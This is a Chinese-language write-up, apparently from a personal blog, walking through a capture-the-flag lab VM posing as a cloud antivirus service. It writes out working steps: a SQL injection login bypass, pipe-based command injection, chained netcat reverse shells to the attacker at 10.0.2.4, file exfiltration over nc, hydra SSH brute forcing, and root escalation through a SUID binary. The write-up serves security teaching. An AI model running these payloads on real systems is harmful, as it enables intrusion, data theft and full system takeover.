第二台

靶机 02

靶机背景:

是一个云防病毒扫描服务!目前处于测试阶段;

目标:

渗透该服务,找出漏洞并提权

难度:easy

涉及攻击方法:

端口扫描,文本侦听,SQL注入,命令注入,密码爆破,代码分析,NC串联,本地提权

把靶机和kali放到同一网段里,开启靶机和kali

首先我们要做的第一件事就是进行

主机发现

一般情况下我们可以使用arp-scan

sudo arp-scan -l

新工具~ arping

这一周我们使用另一个工具——arping

相比于上一次的主机发现过程,arp-scan是一个黑客工具,需要额外安装,使用要求较大.

arping是一个系统工具,内置在许多Linux发行版中,可以直接使用.

在内网渗透的环境下进行主机发现,就可以很方便的使用arping进行主机发现

arping的实质是发送ICMP或ARP请求包,如果收到回复就显示出来

但是它也有不足,他不能直接进行整个ip段的扫描,只能对单个ip进行扫描

因此,我们需要配合shell命令对整个ip段的扫描进行一个自动化操作

for i in $(seq 254);do sudo arping -c 2 10.0.0.$i ;done

注意:我们需要使用sudo提升权限进行扫描

我们遇到了和WEEK1同样的问题,区分虚拟机.

通过mac地址可见,08:00:27是Virtual box虚拟机,这便是我们的目标

虚拟机在哪?!!

很快结果出现了,局域网内有这么多设备!

怎么识别哪个是靶场虚拟机,哪个是真实的局域网设备呢?

别慌,对于每一张真实主机的网卡都会有一个相对应的mac地址

通常来说,mac地址是主机在二层网络中的唯一识别码,是由网卡生产商在出厂时烧录在网卡中的

但是对于虚拟机来说,它可没有真实的网卡,是由虚拟机创造的虚拟网卡!

因此,我们可以通过mac地址的前三格判断是否为虚拟机

"00:05:69"; //vmware1

"00:0C:29"; //vmware2

"00:50:56"; //vmware3

"00:1c:14"; //vmware4

"00:1C:42"; //parallels1

"00:03:FF"; //microsoft virtual pc

"00:0F:4B"; //virtual iron 4

"00:16:3E"; //red hat xen , oracle vm , xen source, novell xen

"08:00:27"; //virtualbox

原文链接:https://blog.csdn.net/weixin_43418664/article/details/83759238

很明显,10.0.2.5的mac地址08:00:27:4b:a4:ed是vritualbox的虚拟网卡,看来我们确定了目标image-20210824164733126

扫描

端口扫描

还是请出我们的nmap,对目标靶机进行扫描

sudo nmap -p- 10.0.2.5

image-20210824165019593

发现端口22,8080

光知道开放的端口有哪几个还不够,接下来进一步扫描端口上有什么~

服务扫描

sudo nmap -sV -p22,8080 10.0.2.5

image-20210824212604058

开放了22ssh服务,OpenSSH 7.6p1版本,操作系统:Ubuntu 4

看这个8080web服务,同样和第一周的靶机一样,使用Werkzeug工具包,更多介绍请看第一周的wp

使用python 2.7.15rc1搭建

探索web服务

既然开放了web服务,那我们就去看一看~

image-20210824212822891

嗯?奇怪,要密码!

这可怎么办呢?

这里用到了数据输入,根据上次的思路,我们不妨尝试sql注入的方式

居然还是密码,那我们可以使用暴力破解的方式进行破解~

测试注入

我们都知道,在不同的代码环境中,往往会有一些字符代表特殊的含义.

如引号、反斜杠、&号等等

当我们把这些特殊的符号当作输入发送给服务器时,如果服务器,没有做精确的过滤,那么往往会发生语义或语法上的报错,返回不同长度的返回包.

因此,我们可以把这些特殊的符号储存在一个文件中,然后使用Burp Suite的Intruder爆破功能对注入点进行测试,观察返回的包长,从而发现漏洞

将特殊字符存到magic_character.txt

加载Runtime file,选择我们的文件,开始攻击!

攻击结果如下

image-20210824214048664

由于我们知道,当服务端报错时,返回数据包的长度会变化,于是我们点击length对其进行排序,最大的数据包在上面,便于观察

可见,我们的payload"成功生效了!!

接下来我们查看报错的页面,看看能获得什么呢~

我们右键报错的数据包,点击Show Response in Browswe,然后拷贝burp给你的连接在浏览器中打开(注意要关闭拦截)

image-20210824214201573

可以看到,数据库的类型为sqlite3,报错时竟然把执行的语句,文件的路径都暴露出来了!

在最后一行,我们可以看到文件路径为/home/scan/cloudav_app/app.py

执行的sql语句为select * from code where password="<input>"

由于我们输入了双引号,导致原先的两个双引号被我们抢走了一个进行匹配,另一个孤零零的双引号只好哭着喊着要报错,但却酿成了大祸,暴露了这么多敏感信息!

我们的目标是绕过当前逻辑的限制,所以我们要使用一点小手段

select * from code where password="" or 1=1 --+"

payload:" or 1=1 --+

请看如上查询语句,我们首先输入双引号闭合前面的password参数,然后用or 1=1这个永恒为真的命题进行干扰,使查询语句认为我们找到了符合条件的数据,返回查询结果.

最后的--+在sql中是注释符的意思,本来是两个加号和一个空格,但是在浏览器传输参数时,会把+翻译成空格,刚好符合.

而如果我们直接在末尾输入一个空格,而不是使用加号,很有可能末尾的空格就会被浏览器吃掉了!这样payload就不生效了...

image-20210824225519847

看到这,不知道各位有没有感觉很熟悉,我们好像在linux里使用了ls -l显示文件,服务器的环境可能是在终端中执行的.

这样一看,这些文件都是在服务器的文件夹中,我们可以提交文件名,对以上文件进行扫描

我们猜一猜,这个功能是怎么实现的呢?

avscan <input>

服务器可能有一个病毒扫描的命令,接收到我们发送的文件名后,将文件名拼接到命令后

既然是在终端(命令行)中执行,我们不妨试试是否有命令注入的漏洞呢~

我们先来了解一下linux中的几种符号

在linux中,&和&&,|和||介绍如下:

&  表示任务在后台执行,如要在后台运行redis-server,则有  redis-server &

&& 表示前一条命令执行成功时,才执行后一条命令 ,如 echo '1‘ && echo '2'    

| 表示管道,上一条命令的输出,作为下一条命令参数,如 echo 'yes' | wc -l

|| 表示上一条命令执行失败后,才执行下一条命令,如 cat nofile || echo "fail"

原文:https://blog.csdn.net/chinabestchina/article/details/72686002

当后面指令的输入不受前面指令的影响时,我们可以使用管道符|同时执行多个指令

payload:hello | id

注:在此处遇到玄学问题,扫描时等待了几分钟结果显示超时了.大家多尝试几次,实在不行重新从官网下载ova文件重新导入靶机,还不行的话就去烧香拜佛吧~

v

可以看到,命令成功执行了.

在刚才的界面,我们看到有python文件,我们可以像第一周那样用python反弹shell.但是,我们不妨试试其他的情况

nc是一款十分强大的网络工具,许多linux发行版中都有nc的身影不幸的是,nc可以用来反弹shell,

我们首先定位一下nc,看看这台靶机中是否有nc工具

hello | which nc

which的意思是在当前用户的PATH路径中查找指定的文件,也就是所谓的可执行的指令

可以的!

那么接下来,我们就尝试使用nc反弹shell吧~

串联nc

首先我们来尝试最基础的姿势,

payload: hello | nc 10.0.2.4 4444 -e /bin/bash

这条命令中,我们使用了nc的-e参数,它的意思就是当连接成功以后,攻击端可以输入的内容会被送到/bin/bash并经过执行后发送给攻击者

但是!意外发生了!

我们在本地监听的nc并没有收到反弹的shell,这是为什么?

nc在历史上有很多个版本,不同的linux发行版中的nc也千差万别

有的时候,nc是支持-e参数的,但是有的时候却不支持-e参数

这可怎么办呢??!别怕,我们来学个新姿势.

-e参数的实质就是把另一段发送的内容送到指定的程序,然后再把程序的结果返还给另一段

那么这里我们就可以用上面所说的|管道符号

使用hello | nc 10.0.2.4 4444 | /bin/bash 2>&1 | nc 10.0.2.4 5555

以上命令是什么意思呢?

首先我们让靶机连接我们的4444端口,在这个时候,我们在另一段的输入就会被它接收了.

它一旦接受了我们的指令,就会把指令通过管道符送到/bin/bash进行执行,执行后的结果又会向后流动,到达5555端口

此处加上了2>&1的意思是报错的内容会被输出到基本输出,这样我们在使用nc反弹的shell的时候就可以回显报错了

所以,4444端口是我们下达指令的地方,5555端口是我们接收结果的地方

image-20210825222423150

如图,左边是4444端口,右边是5555端口

我们使用ls与pwd查看了当前的信息,目录下又四个文件,最引我们注意的就是database.sql文件

我猜想,里面可能会有密码等机密文件!

我们再尝试查看/etc/passwd文件,看看有哪几个用户.

cat /etc/passwd | grep /bin/bash

这里使用grep过滤后,留下的就是能够登陆并使用bash的用户了

image-20210825222808740

我们把用户名拷贝下来,放进users.txt

用户名有了,我们怎么把数据库文件下载下来呢?

我们知道,nc的本质就是数据的传输.我们不妨把文件当作输入,在kali中接收并导入本地文件,这样不就相当于是下载文件了吗~

攻击机:nc -lvnp 6666 > database.sql

靶机: nc 10.0.2.4 6666 < database.sql

注意有一个小技巧,不要从靶机处断开nc,这样会中断之前的反弹shell!!从攻击机处中断,这样另一端自动就中断了~

我们来查看一下数据库文件的类型

file database.sql

image-20210825223428268

ile指令可用于查看文件的类型

可见,这是一个sqlite3的数据库文件

那我们就用kali自带的sqlite3管理软件打开吧~

image-20210825223546735

可见,有一个code表,表内有password字段,自段的内容有四个像密码的东西,我们把密码放入pass.txt

结合我们一开始扫描到的ssh服务,我们可以来尝试爆破ssh啦~

hydra -L user.txt -P pass.txt ssh://10.0.2.4

扫描的结果却不尽人意,居然一个都没匹配上?!

image-20210825224028938

在渗透测试的过程中,我们往往看似收集到了很多敏感信息,进行下一步渗透时,却往往遭遇挫折.

虽然我们这一次的ssh爆破没有成功,但是这并不妨碍我们的渗透思路,这一步的测试是有意义的!

换种思路

前面我们已经获得了反弹shell,既然不能通过爆破密码与用户从外部攻破,那么我们就尝试着从内部瓦解它吧!

image-20210825224141783

四处逛逛,往上层目录看看.

发现了这么多文件,其中有一个文件特别吸引我的眼球——update_cloudavupdate_cloudav.c

我猜测,对于同名的文件,前者是由后者编译而来的.

特别的,这个可执行文件的属性中携带了s,即suid,会以文件拥有者的权限执行此程序.

嘿!你说多巧!这个文件的拥有者刚好是root!!

这里附送大家一个寻找suid文件且文件拥有者为root的指令

find / -perm 4000 -user root 2>/dev/null

SUID提权

我们使用cat指令查看它的c源代码文件

image-20210825224414791

看来这里接受一个参数,然后它会把参数拼接进入freshclam这个指令,然后通过调用system函数执行命令a

还是一样的思路,这里存在代码注入

我们使用|管道符同时执行多个命令

不过要注意,由于它只接受一个参数,而且shell在解析时遇到空格就认为结束了,所以一定要注意使用双引号把我们的payload括起来

payload: ./update_cloudav "a | nc 10.0.2.4 6666 | /bin/bash 2>&1 | nc 10.0.2.4 7777"

这里同样使用串联nc达到反弹shell的目的,6666是指令发送端口,7777是结果回显端口

image-20210825224905953

image-20210825224934643

搞定

关于sql注入那一步,还有一条道路

验证码绕过——爆破

在本文中,我们对验证码进行了绕过,我们使用的是sql注入绕过了密码验证

但是如果此处没有sql注入漏洞,那我们该怎么办呢?

爆破!

我们回到验证界面,挂载代理到burp上,开启拦截

随便输入一个密码,点击提交,此时burp会自动拦截提交的数据包

在Proxy->Intercept下找到拦截的数据包,点击Action->Send to Intruder

image-20210825225511568

打开Intruder模块,首先clear,然后选中password参数后的123,点击add

选择payload Type:Runtime File

选择/usr/share/wordlists/nmap.lst文件,即nmap默认扫描字典

image-20210825225723636

通过length进行排序,payload:password的返回长度不同,看来我们找到了~

尝试使用password进行登录,成功~

总结

我们首先进行了主机发现,这一次我们换了一个工具,arping,这个软件更常见,但需要配合shell 命令才能进行网段扫描.

然后,我们进行常规的端口扫描与服务版本扫描.发现ssh与web界面

进入web页面,我们发现了验证码机制,我们分别使用了sql注入和爆破两种方法进行绕过.

在sql注入时,我们首先使用magic_character.txt对注入点进行测试,发现使用双引号时返回的长度不同

这时候,我们就可以看看查询语句,发现查询的password参数是用双引号括起来的,于是我们通过闭合双引号对使用or 1=1对逻辑进行绕过

在暴力破解的时候,我们可以加载/usr/share/wordlists下面的字典进行爆破

绕过验证码后,我们通过|管道符号实现命令注入

在此处,我们通过串联nc的方式实现反弹,注意管道符号与2>&1

获得shell后,我们进行信息搜集,我们查找了/etc/passed获取了用户信息,使用nc下载数据库文件,在本地通过file命令进行判断,并通过数据库管理软件发现密码

正当我们以为发现了通关密钥时,ssh的爆破失败了.这其实并不全无意义,相反,这是我们渗透思路的一部分!

最后,我们回到shell,仔细寻觅敏感文件,最终发现了一个root的suid可执行文件以及它的源码,我们同样通过命令注入成功用nc串联反弹了第二个shell,这次获得了root权限

posted @ 2021-10-21 23:38  甘雨小可爱!  阅读(217)  评论(0)    收藏  举报